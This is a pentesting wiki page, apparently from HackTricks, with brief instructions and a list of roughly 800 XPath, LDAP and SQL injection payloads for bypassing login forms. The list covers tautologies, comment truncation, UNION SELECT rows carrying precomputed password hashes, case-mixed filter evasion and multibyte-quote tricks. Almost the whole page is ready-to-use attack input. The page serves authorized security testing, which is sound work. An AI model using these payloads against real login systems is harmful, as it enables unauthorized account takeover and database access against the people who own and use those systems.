sql-login-bypass.md (14414B)
1 --- 2 title: "SQL Login Bypass Payloads" 3 section: "Web Pentesting" 4 sectionSlug: "pentesting-web" 5 sourcePath: "src/pentesting-web/login-bypass/sql-login-bypass.md" 6 sourceUrl: "https://github.com/HackTricks-wiki/hacktricks/blob/188de82beb54e70956b2952367a0af91d26758b8/src/pentesting-web/login-bypass/sql-login-bypass.md" 7 sha: "188de82beb54e70956b2952367a0af91d26758b8" 8 isIndex: false 9 modified: true 10 license: "CC-BY-NC-4.0" 11 --- 12 13 # SQL Login Bypass Payloads 14 15 This list contains **payloads for testing login bypass through XPath, LDAP, and SQL injection**, in that order.<sup>[[1]](#references)</sup><sup>[[2]](#references)</sup><sup>[[3]](#references)</sup> 16 17 Start by testing the **first 200 entries independently as both username and password**. Then test the complete list in the username field while holding the password constant (for example, _Pass1234._), and repeat in the password field while holding a known username constant (for example, _admin_). Use these payloads only against systems you are authorized to test. 18 19 ```text 20 admin 21 password 22 1234 23 123456 24 root 25 toor 26 test 27 guest 28 ' or '1'='1 29 ' or ''=' 30 ' or 1]%00 31 ' or /* or ' 32 ' or "a" or ' 33 ' or 1 or ' 34 ' or true() or ' 35 'or string-length(name(.))<10 or' 36 'or contains(name,'adm') or' 37 'or contains(.,'adm') or' 38 'or position()=2 or' 39 admin' or ' 40 admin' or '1'='2 41 * 42 *)(& 43 *)(|(& 44 pwd) 45 *)(|(* 46 *))%00 47 admin)(&) 48 pwd 49 admin)(!(&(| 50 pwd)) 51 admin))(|(| 52 1234 53 '-' 54 ' ' 55 '&' 56 '^' 57 '*' 58 ' or ''-' 59 ' or '' ' 60 ' or ''&' 61 ' or ''^' 62 ' or ''*' 63 "-" 64 " " 65 "&" 66 "^" 67 "*" 68 " or ""-" 69 " or "" " 70 " or ""&" 71 " or ""^" 72 " or ""*" 73 or true-- 74 " or true-- 75 ' or true-- 76 ") or true-- 77 ') or true-- 78 ' or 'x'='x 79 ') or ('x')=('x 80 ')) or (('x'))=(('x 81 " or "x"="x 82 ") or ("x")=("x 83 ")) or (("x"))=(("x 84 or 1=1 85 or 1=1-- 86 or 1=1# 87 or 1=1/* 88 admin' -- 89 admin' # 90 admin'/* 91 admin' or '1'='1 92 admin' or '1'='1'-- 93 admin' or '1'='1'# 94 admin' or '1'='1'/* 95 admin'or 1=1 or ''=' 96 admin' or 1=1 97 admin' or 1=1-- 98 admin' or 1=1# 99 admin' or 1=1/* 100 admin') or ('1'='1 101 admin') or ('1'='1'-- 102 admin') or ('1'='1'# 103 admin') or ('1'='1'/* 104 admin') or '1'='1 105 admin') or '1'='1'-- 106 admin') or '1'='1'# 107 admin') or '1'='1'/* 108 1234 ' AND 1=0 UNION ALL SELECT 'admin', '81dc9bdb52d04dc20036dbd8313ed055 109 1234 ' AND 1=0 UNION ALL SELECT 'admin', '7110eda4d09e062aa5e4a390b0a572ac0d2c0220 110 admin" -- 111 admin" # 112 admin"/* 113 admin" or "1"="1 114 admin" or "1"="1"-- 115 admin" or "1"="1"# 116 admin" or "1"="1"/* 117 admin"or 1=1 or ""=" 118 admin" or 1=1 119 admin" or 1=1-- 120 admin" or 1=1# 121 admin" or 1=1/* 122 admin") or ("1"="1 123 admin") or ("1"="1"-- 124 admin") or ("1"="1"# 125 admin") or ("1"="1"/* 126 admin") or "1"="1 127 admin") or "1"="1"-- 128 admin") or "1"="1"# 129 admin") or "1"="1"/* 130 1234 " AND 1=0 UNION ALL SELECT "admin", "81dc9bdb52d04dc20036dbd8313ed055 131 1234 " AND 1=0 UNION ALL SELECT "admin", "7110eda4d09e062aa5e4a390b0a572ac0d2c0220 132 == 133 = 134 ' 135 ' -- 136 ' # 137 ' – 138 '-- 139 '/* 140 '# 141 " -- 142 " # 143 "/* 144 ' and 1='1 145 ' and a='a 146 or true 147 ' or ''=' 148 " or ""=" 149 1′) and '1′='1– 150 ' AND 1=0 UNION ALL SELECT '', '81dc9bdb52d04dc20036dbd8313ed055 151 " AND 1=0 UNION ALL SELECT "", "81dc9bdb52d04dc20036dbd8313ed055 152 ' AND 1=0 UNION ALL SELECT '', '7110eda4d09e062aa5e4a390b0a572ac0d2c0220 153 " AND 1=0 UNION ALL SELECT "", "7110eda4d09e062aa5e4a390b0a572ac0d2c0220 154 and 1=1 155 and 1=1– 156 ' and 'one'='one 157 ' and 'one'='one– 158 ' group by password having 1=1-- 159 ' group by userid having 1=1-- 160 ' group by username having 1=1-- 161 like '%' 162 or 0=0 -- 163 or 0=0 # 164 or 0=0 – 165 ' or 0=0 # 166 ' or 0=0 -- 167 ' or 0=0 # 168 ' or 0=0 – 169 " or 0=0 -- 170 " or 0=0 # 171 " or 0=0 – 172 %' or '0'='0 173 or 1=1– 174 ' or 1=1-- 175 ' or '1'='1 176 ' or '1'='1'-- 177 ' or '1'='1'/* 178 ' or '1'='1'# 179 ' or '1′='1 180 ' or 1=1 181 ' or 1=1 -- 182 ' or 1=1 – 183 ' or 1=1;# 184 ' or 1=1/* 185 ' or 1=1# 186 ' or 1=1– 187 ') or '1'='1 188 ') or '1'='1-- 189 ') or '1'='1'-- 190 ') or '1'='1'/* 191 ') or '1'='1'# 192 ') or ('1'='1 193 ') or ('1'='1-- 194 ') or ('1'='1'-- 195 ') or ('1'='1'/* 196 ') or ('1'='1'# 197 'or'1=1 198 'or'1=1′ 199 " or "1"="1 200 " or "1"="1"-- 201 " or "1"="1"/* 202 " or "1"="1"# 203 " or 1=1 204 " or 1=1 -- 205 " or 1=1 – 206 " or 1=1-- 207 " or 1=1/* 208 " or 1=1# 209 " or 1=1– 210 ") or "1"="1 211 ") or "1"="1"-- 212 ") or "1"="1"/* 213 ") or "1"="1"# 214 ") or ("1"="1 215 ") or ("1"="1"-- 216 ") or ("1"="1"/* 217 ") or ("1"="1"# 218 ) or '1′='1– 219 ) or ('1′='1– 220 ' or 1=1 LIMIT 1;# 221 'or 1=1 or ''=' 222 "or 1=1 or ""=" 223 ' or a=a-- 224 ' or a=a– 225 " or "a"="a 226 ") or ("a"="a 227 ') or ('a'='a and hi") or ("a"="a 228 ' or 'one'='one 229 ' or 'one'='one– 230 ' or uid like '% 231 ' or uname like '% 232 ' or userid like '% 233 ' or user like '% 234 ' or username like '% 235 ') or ('x'='x 236 ' OR 'x'='x'#; 237 '=' 'or' and '=' 'or' 238 ' UNION ALL SELECT 1, @@version;# 239 ' UNION ALL SELECT system_user(),user();# 240 ' UNION select table_schema,table_name FROM information_Schema.tables;# 241 admin' and substring(password/text(),1,1)='7 242 ' and substring(password/text(),1,1)='7 243 " 244 '-- 2 245 "-- 2 246 '=' 247 0'<'2 248 "=" 249 0"<"2 250 ') 251 ") 252 ')-- 2 253 ')/* 254 ')# 255 ")-- 2 256 ") # 257 ")/* 258 ')-(' 259 ')&(' 260 ')^(' 261 ')*(' 262 ')=(' 263 0')<('2 264 ")-(" 265 ")&(" 266 ")^(" 267 ")*(" 268 ")=(" 269 0")<("2 270 '-''-- 2 271 '-''# 272 '-''/* 273 '&''-- 2 274 '&''# 275 '&''/* 276 '^''-- 2 277 '^''# 278 '^''/* 279 '*''-- 2 280 '*''# 281 '*''/* 282 '=''-- 2 283 '=''# 284 '=''/* 285 0'<'2'-- 2 286 0'<'2'# 287 0'<'2'/* 288 "-""-- 2 289 "-""# 290 "-""/* 291 "&""-- 2 292 "&""# 293 "&""/* 294 "^""-- 2 295 "^""# 296 "^""/* 297 "*""-- 2 298 "*""# 299 "*""/* 300 "=""-- 2 301 "=""# 302 "=""/* 303 0"<"2"-- 2 304 0"<"2"# 305 0"<"2"/* 306 ')-''-- 2 307 ')-''# 308 ')-''/* 309 ')&''-- 2 310 ')&''# 311 ')&''/* 312 ')^''-- 2 313 ')^''# 314 ')^''/* 315 ')*''-- 2 316 ')*''# 317 ')*''/* 318 ')=''-- 2 319 ')=''# 320 ')=''/* 321 0')<'2'-- 2 322 0')<'2'# 323 0')<'2'/* 324 ")-""-- 2 325 ")-""# 326 ")-""/* 327 ")&""-- 2 328 ")&""# 329 ")&""/* 330 ")^""-- 2 331 ")^""# 332 ")^""/* 333 ")*""-- 2 334 ")*""# 335 ")*""/* 336 ")=""-- 2 337 ")=""# 338 ")=""/* 339 0")<"2-- 2 340 0")<"2# 341 0")<"2/* 342 'oR'2 343 'oR'2'-- 2 344 'oR'2'# 345 'oR'2'/* 346 'oR'2'oR' 347 'oR(2)-- 2 348 'oR(2)# 349 'oR(2)/* 350 'oR(2)oR' 351 'oR 2-- 2 352 'oR 2# 353 'oR 2/* 354 'oR 2 oR' 355 'oR/**/2-- 2 356 'oR/**/2# 357 'oR/**/2/* 358 'oR/**/2/**/oR' 359 "oR"2 360 "oR"2"-- 2 361 "oR"2"# 362 "oR"2"/* 363 "oR"2"oR" 364 "oR(2)-- 2 365 "oR(2)# 366 "oR(2)/* 367 "oR(2)oR" 368 "oR 2-- 2 369 "oR 2# 370 "oR 2/* 371 "oR 2 oR" 372 "oR/**/2-- 2 373 "oR/**/2# 374 "oR/**/2/* 375 "oR/**/2/**/oR" 376 'oR'2'='2 377 'oR'2'='2'oR' 378 'oR'2'='2'-- 2 379 'oR'2'='2'# 380 'oR'2'='2'/* 381 'oR 2=2-- 2 382 'oR 2=2# 383 'oR 2=2/* 384 'oR 2=2 oR' 385 'oR/**/2=2-- 2 386 'oR/**/2=2# 387 'oR/**/2=2/* 388 'oR/**/2=2/**/oR' 389 'oR(2)=2-- 2 390 'oR(2)=2# 391 'oR(2)=2/* 392 'oR(2)=(2)oR' 393 'oR'2'='2' LimIT 1-- 2 394 'oR'2'='2' LimIT 1# 395 'oR'2'='2' LimIT 1/* 396 'oR(2)=(2)LimIT(1)-- 2 397 'oR(2)=(2)LimIT(1)# 398 'oR(2)=(2)LimIT(1)/* 399 "oR"2"="2 400 "oR"2"="2"oR" 401 "oR"2"="2"-- 2 402 "oR"2"="2"# 403 "oR"2"="2"/* 404 "oR 2=2-- 2 405 "oR 2=2# 406 "oR 2=2/* 407 "oR 2=2 oR" 408 "oR/**/2=2-- 2 409 "oR/**/2=2# 410 "oR/**/2=2/* 411 "oR/**/2=2/**/oR" 412 "oR(2)=2-- 2 413 "oR(2)=2# 414 "oR(2)=2/* 415 "oR(2)=(2)oR" 416 "oR"2"="2" LimIT 1-- 2 417 "oR"2"="2" LimIT 1# 418 "oR"2"="2" LimIT 1/* 419 "oR(2)=(2)LimIT(1)-- 2 420 "oR(2)=(2)LimIT(1)# 421 "oR(2)=(2)LimIT(1)/* 422 'oR true-- 2 423 'oR true# 424 'oR true/* 425 'oR true oR' 426 'oR(true)-- 2 427 'oR(true)# 428 'oR(true)/* 429 'oR(true)oR' 430 'oR/**/true-- 2 431 'oR/**/true# 432 'oR/**/true/* 433 'oR/**/true/**/oR' 434 "oR true-- 2 435 "oR true# 436 "oR true/* 437 "oR true oR" 438 "oR(true)-- 2 439 "oR(true)# 440 "oR(true)/* 441 "oR(true)oR" 442 "oR/**/true-- 2 443 "oR/**/true# 444 "oR/**/true/* 445 "oR/**/true/**/oR" 446 'oR'2'LiKE'2 447 'oR'2'LiKE'2'-- 2 448 'oR'2'LiKE'2'# 449 'oR'2'LiKE'2'/* 450 'oR'2'LiKE'2'oR' 451 'oR(2)LiKE(2)-- 2 452 'oR(2)LiKE(2)# 453 'oR(2)LiKE(2)/* 454 'oR(2)LiKE(2)oR' 455 "oR"2"LiKE"2 456 "oR"2"LiKE"2"-- 2 457 "oR"2"LiKE"2"# 458 "oR"2"LiKE"2"/* 459 "oR"2"LiKE"2"oR" 460 "oR(2)LiKE(2)-- 2 461 "oR(2)LiKE(2)# 462 "oR(2)LiKE(2)/* 463 "oR(2)LiKE(2)oR" 464 admin 465 admin'-- 2 466 admin'# 467 admin"-- 2 468 admin"# 469 ffifdyop 470 ' UniON SElecT 1,2-- 2 471 ' UniON SElecT 1,2,3-- 2 472 ' UniON SElecT 1,2,3,4-- 2 473 ' UniON SElecT 1,2,3,4,5-- 2 474 ' UniON SElecT 1,2# 475 ' UniON SElecT 1,2,3# 476 ' UniON SElecT 1,2,3,4# 477 ' UniON SElecT 1,2,3,4,5# 478 'UniON(SElecT(1),2)-- 2 479 'UniON(SElecT(1),2,3)-- 2 480 'UniON(SElecT(1),2,3,4)-- 2 481 'UniON(SElecT(1),2,3,4,5)-- 2 482 'UniON(SElecT(1),2)# 483 'UniON(SElecT(1),2,3)# 484 'UniON(SElecT(1),2,3,4)# 485 'UniON(SElecT(1),2,3,4,5)# 486 " UniON SElecT 1,2-- 2 487 " UniON SElecT 1,2,3-- 2 488 " UniON SElecT 1,2,3,4-- 2 489 " UniON SElecT 1,2,3,4,5-- 2 490 " UniON SElecT 1,2# 491 " UniON SElecT 1,2,3# 492 " UniON SElecT 1,2,3,4# 493 " UniON SElecT 1,2,3,4,5# 494 "UniON(SElecT(1),2)-- 2 495 "UniON(SElecT(1),2,3)-- 2 496 "UniON(SElecT(1),2,3,4)-- 2 497 "UniON(SElecT(1),2,3,4,5)-- 2 498 "UniON(SElecT(1),2)# 499 "UniON(SElecT(1),2,3)# 500 "UniON(SElecT(1),2,3,4)# 501 "UniON(SElecT(1),2,3,4,5)# 502 '||'2 503 '||2-- 2 504 '||'2'||' 505 '||2# 506 '||2/* 507 '||2||' 508 "||"2 509 "||2-- 2 510 "||"2"||" 511 "||2# 512 "||2/* 513 "||2||" 514 '||'2'='2 515 '||'2'='2'||' 516 '||2=2-- 2 517 '||2=2# 518 '||2=2/* 519 '||2=2||' 520 "||"2"="2 521 "||"2"="2"||" 522 "||2=2-- 2 523 "||2=2# 524 "||2=2/* 525 "||2=2||" 526 '||2=(2)LimIT(1)-- 2 527 '||2=(2)LimIT(1)# 528 '||2=(2)LimIT(1)/* 529 "||2=(2)LimIT(1)-- 2 530 "||2=(2)LimIT(1)# 531 "||2=(2)LimIT(1)/* 532 '||true-- 2 533 '||true# 534 '||true/* 535 '||true||' 536 "||true-- 2 537 "||true# 538 "||true/* 539 "||true||" 540 '||'2'LiKE'2 541 '||'2'LiKE'2'-- 2 542 '||'2'LiKE'2'# 543 '||'2'LiKE'2'/* 544 '||'2'LiKE'2'||' 545 '||(2)LiKE(2)-- 2 546 '||(2)LiKE(2)# 547 '||(2)LiKE(2)/* 548 '||(2)LiKE(2)||' 549 "||"2"LiKE"2 550 "||"2"LiKE"2"-- 2 551 "||"2"LiKE"2"# 552 "||"2"LiKE"2"/* 553 "||"2"LiKE"2"||" 554 "||(2)LiKE(2)-- 2 555 "||(2)LiKE(2)# 556 "||(2)LiKE(2)/* 557 "||(2)LiKE(2)||" 558 ')oR('2 559 ')oR'2'-- 2 560 ')oR'2'# 561 ')oR'2'/* 562 ')oR'2'oR(' 563 ')oR(2)-- 2 564 ')oR(2)# 565 ')oR(2)/* 566 ')oR(2)oR(' 567 ')oR 2-- 2 568 ')oR 2# 569 ')oR 2/* 570 ')oR 2 oR(' 571 ')oR/**/2-- 2 572 ')oR/**/2# 573 ')oR/**/2/* 574 ')oR/**/2/**/oR(' 575 ")oR("2 576 ")oR"2"-- 2 577 ")oR"2"# 578 ")oR"2"/* 579 ")oR"2"oR(" 580 ")oR(2)-- 2 581 ")oR(2)# 582 ")oR(2)/* 583 ")oR(2)oR(" 584 ")oR 2-- 2 585 ")oR 2# 586 ")oR 2/* 587 ")oR 2 oR(" 588 ")oR/**/2-- 2 589 ")oR/**/2# 590 ")oR/**/2/* 591 ")oR/**/2/**/oR(" 592 ')oR'2'=('2 593 ')oR'2'='2'oR(' 594 ')oR'2'='2'-- 2 595 ')oR'2'='2'# 596 ')oR'2'='2'/* 597 ')oR 2=2-- 2 598 ')oR 2=2# 599 ')oR 2=2/* 600 ')oR 2=2 oR(' 601 ')oR/**/2=2-- 2 602 ')oR/**/2=2# 603 ')oR/**/2=2/* 604 ')oR/**/2=2/**/oR(' 605 ')oR(2)=2-- 2 606 ')oR(2)=2# 607 ')oR(2)=2/* 608 ')oR(2)=(2)oR(' 609 ')oR'2'='2' LimIT 1-- 2 610 ')oR'2'='2' LimIT 1# 611 ')oR'2'='2' LimIT 1/* 612 ')oR(2)=(2)LimIT(1)-- 2 613 ')oR(2)=(2)LimIT(1)# 614 ')oR(2)=(2)LimIT(1)/* 615 ")oR"2"=("2 616 ")oR"2"="2"oR(" 617 ")oR"2"="2"-- 2 618 ")oR"2"="2"# 619 ")oR"2"="2"/* 620 ")oR 2=2-- 2 621 ")oR 2=2# 622 ")oR 2=2/* 623 ")oR 2=2 oR(" 624 ")oR/**/2=2-- 2 625 ")oR/**/2=2# 626 ")oR/**/2=2/* 627 ")oR/**/2=2/**/oR(" 628 ")oR(2)=2-- 2 629 ")oR(2)=2# 630 ")oR(2)=2/* 631 ")oR(2)=(2)oR(" 632 ")oR"2"="2" LimIT 1-- 2 633 ")oR"2"="2" LimIT 1# 634 ")oR"2"="2" LimIT 1/* 635 ")oR(2)=(2)LimIT(1)-- 2 636 ")oR(2)=(2)LimIT(1)# 637 ")oR(2)=(2)LimIT(1)/* 638 ')oR true-- 2 639 ')oR true# 640 ')oR true/* 641 ')oR true oR(' 642 ')oR(true)-- 2 643 ')oR(true)# 644 ')oR(true)/* 645 ')oR(true)oR(' 646 ')oR/**/true-- 2 647 ')oR/**/true# 648 ')oR/**/true/* 649 ')oR/**/true/**/oR(' 650 ")oR true-- 2 651 ")oR true# 652 ")oR true/* 653 ")oR true oR(" 654 ")oR(true)-- 2 655 ")oR(true)# 656 ")oR(true)/* 657 ")oR(true)oR(" 658 ")oR/**/true-- 2 659 ")oR/**/true# 660 ")oR/**/true/* 661 ")oR/**/true/**/oR(" 662 ')oR'2'LiKE('2 663 ')oR'2'LiKE'2'-- 2 664 ')oR'2'LiKE'2'# 665 ')oR'2'LiKE'2'/* 666 ')oR'2'LiKE'2'oR(' 667 ')oR(2)LiKE(2)-- 2 668 ')oR(2)LiKE(2)# 669 ')oR(2)LiKE(2)/* 670 ')oR(2)LiKE(2)oR(' 671 ")oR"2"LiKE("2 672 ")oR"2"LiKE"2"-- 2 673 ")oR"2"LiKE"2"# 674 ")oR"2"LiKE"2"/* 675 ")oR"2"LiKE"2"oR(" 676 ")oR(2)LiKE(2)-- 2 677 ")oR(2)LiKE(2)# 678 ")oR(2)LiKE(2)/* 679 ")oR(2)LiKE(2)oR(" 680 admin')-- 2 681 admin')# 682 admin')/* 683 admin")-- 2 684 admin")# 685 ') UniON SElecT 1,2-- 2 686 ') UniON SElecT 1,2,3-- 2 687 ') UniON SElecT 1,2,3,4-- 2 688 ') UniON SElecT 1,2,3,4,5-- 2 689 ') UniON SElecT 1,2# 690 ') UniON SElecT 1,2,3# 691 ') UniON SElecT 1,2,3,4# 692 ') UniON SElecT 1,2,3,4,5# 693 ')UniON(SElecT(1),2)-- 2 694 ')UniON(SElecT(1),2,3)-- 2 695 ')UniON(SElecT(1),2,3,4)-- 2 696 ')UniON(SElecT(1),2,3,4,5)-- 2 697 ')UniON(SElecT(1),2)# 698 ')UniON(SElecT(1),2,3)# 699 ')UniON(SElecT(1),2,3,4)# 700 ')UniON(SElecT(1),2,3,4,5)# 701 ") UniON SElecT 1,2-- 2 702 ") UniON SElecT 1,2,3-- 2 703 ") UniON SElecT 1,2,3,4-- 2 704 ") UniON SElecT 1,2,3,4,5-- 2 705 ") UniON SElecT 1,2# 706 ") UniON SElecT 1,2,3# 707 ") UniON SElecT 1,2,3,4# 708 ") UniON SElecT 1,2,3,4,5# 709 ")UniON(SElecT(1),2)-- 2 710 ")UniON(SElecT(1),2,3)-- 2 711 ")UniON(SElecT(1),2,3,4)-- 2 712 ")UniON(SElecT(1),2,3,4,5)-- 2 713 ")UniON(SElecT(1),2)# 714 ")UniON(SElecT(1),2,3)# 715 ")UniON(SElecT(1),2,3,4)# 716 ")UniON(SElecT(1),2,3,4,5)# 717 ')||('2 718 ')||2-- 2 719 ')||'2'||(' 720 ')||2# 721 ')||2/* 722 ')||2||(' 723 ")||("2 724 ")||2-- 2 725 ")||"2"||(" 726 ")||2# 727 ")||2/* 728 ")||2||(" 729 ')||'2'=('2 730 ')||'2'='2'||(' 731 ')||2=2-- 2 732 ')||2=2# 733 ')||2=2/* 734 ')||2=2||(' 735 ")||"2"=("2 736 ")||"2"="2"||(" 737 ")||2=2-- 2 738 ")||2=2# 739 ")||2=2/* 740 ")||2=2||(" 741 ')||2=(2)LimIT(1)-- 2 742 ')||2=(2)LimIT(1)# 743 ')||2=(2)LimIT(1)/* 744 ")||2=(2)LimIT(1)-- 2 745 ")||2=(2)LimIT(1)# 746 ")||2=(2)LimIT(1)/* 747 ')||true-- 2 748 ')||true# 749 ')||true/* 750 ')||true||(' 751 ")||true-- 2 752 ")||true# 753 ")||true/* 754 ")||true||(" 755 ')||'2'LiKE('2 756 ')||'2'LiKE'2'-- 2 757 ')||'2'LiKE'2'# 758 ')||'2'LiKE'2'/* 759 ')||'2'LiKE'2'||(' 760 ')||(2)LiKE(2)-- 2 761 ')||(2)LiKE(2)# 762 ')||(2)LiKE(2)/* 763 ')||(2)LiKE(2)||(' 764 ")||"2"LiKE("2 765 ")||"2"LiKE"2"-- 2 766 ")||"2"LiKE"2"# 767 ")||"2"LiKE"2"/* 768 ")||"2"LiKE"2"||(" 769 ")||(2)LiKE(2)-- 2 770 ")||(2)LiKE(2)# 771 ")||(2)LiKE(2)/* 772 ")||(2)LiKE(2)||(" 773 ' UnION SELeCT 1,2` 774 ' UnION SELeCT 1,2,3` 775 ' UnION SELeCT 1,2,3,4` 776 ' UnION SELeCT 1,2,3,4,5` 777 " UnION SELeCT 1,2` 778 " UnION SELeCT 1,2,3` 779 " UnION SELeCT 1,2,3,4` 780 " UnION SELeCT 1,2,3,4,5` 781 ' or 1=1 limit 1 -- -+ 782 '="or' 783 Pass1234. 784 Pass1234.' AND 1=0 UniON SeleCT 'admin', 'fe1ff105bf807478a217ad4e378dc658 785 Pass1234.' AND 1=0 UniON SeleCT 'admin', 'fe1ff105bf807478a217ad4e378dc658'# 786 Pass1234.' AND 1=0 UniON ALL SeleCT 'admin', md5('Pass1234. 787 Pass1234.' AND 1=0 UniON ALL SeleCT 'admin', md5('Pass1234.')# 788 Pass1234.' AND 1=0 UniON SeleCT 'admin', '5b19a9e947ca0fee49995f2a8b359e1392adbb61 789 Pass1234.' AND 1=0 UniON SeleCT 'admin', '5b19a9e947ca0fee49995f2a8b359e1392adbb61'# 790 Pass1234.' and 1=0 union select 'admin',sha('Pass1234. 791 Pass1234.' and 1=0 union select 'admin',sha('Pass1234.')# 792 Pass1234." AND 1=0 UniON SeleCT "admin", "fe1ff105bf807478a217ad4e378dc658 793 Pass1234." AND 1=0 UniON SeleCT "admin", "fe1ff105bf807478a217ad4e378dc658"# 794 Pass1234." AND 1=0 UniON ALL SeleCT "admin", md5("Pass1234. 795 Pass1234." AND 1=0 UniON ALL SeleCT "admin", md5("Pass1234.")# 796 Pass1234." AND 1=0 UniON SeleCT "admin", "5b19a9e947ca0fee49995f2a8b359e1392adbb61 797 Pass1234." AND 1=0 UniON SeleCT "admin", "5b19a9e947ca0fee49995f2a8b359e1392adbb61"# 798 Pass1234." and 1=0 union select "admin",sha("Pass1234. 799 Pass1234." and 1=0 union select "admin",sha("Pass1234.")# 800 %A8%27 Or 1=1-- 2 801 %8C%A8%27 Or 1=1-- 2 802 %bf' Or 1=1 -- 2 803 %A8%27 Or 1-- 2 804 %8C%A8%27 Or 1-- 2 805 %bf' Or 1-- 2 806 %A8%27Or(1)-- 2 807 %8C%A8%27Or(1)-- 2 808 %bf'Or(1)-- 2 809 %A8%27||1-- 2 810 %8C%A8%27||1-- 2 811 %bf'||1-- 2 812 %A8%27) Or 1=1-- 2 813 %8C%A8%27) Or 1=1-- 2 814 %bf') Or 1=1 -- 2 815 %A8%27) Or 1-- 2 816 %8C%A8%27) Or 1-- 2 817 %bf') Or 1-- 2 818 %A8%27)Or(1)-- 2 819 %8C%A8%27)Or(1)-- 2 820 %bf')Or(1)-- 2 821 %A8%27)||1-- 2 822 %8C%A8%27)||1-- 2 823 %bf')||1-- 2 824 ``` 825 826 ## References 827 828 - [1] [OWASP Web Security Testing Guide – Testing for XPath Injection](https://owasp.org/www-project-web-security-testing-guide/latest/4-Web_Application_Security_Testing/07-Input_Validation_Testing/09-Testing_for_XPath_Injection) 829 - [2] [OWASP Web Security Testing Guide – Testing for LDAP Injection](https://owasp.org/www-project-web-security-testing-guide/latest/4-Web_Application_Security_Testing/07-Input_Validation_Testing/06-Testing_for_LDAP_Injection) 830 - [3] [PayloadsAllTheThings – SQL Injection Authentication Bypass](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/SQL%20Injection#authentication-bypass)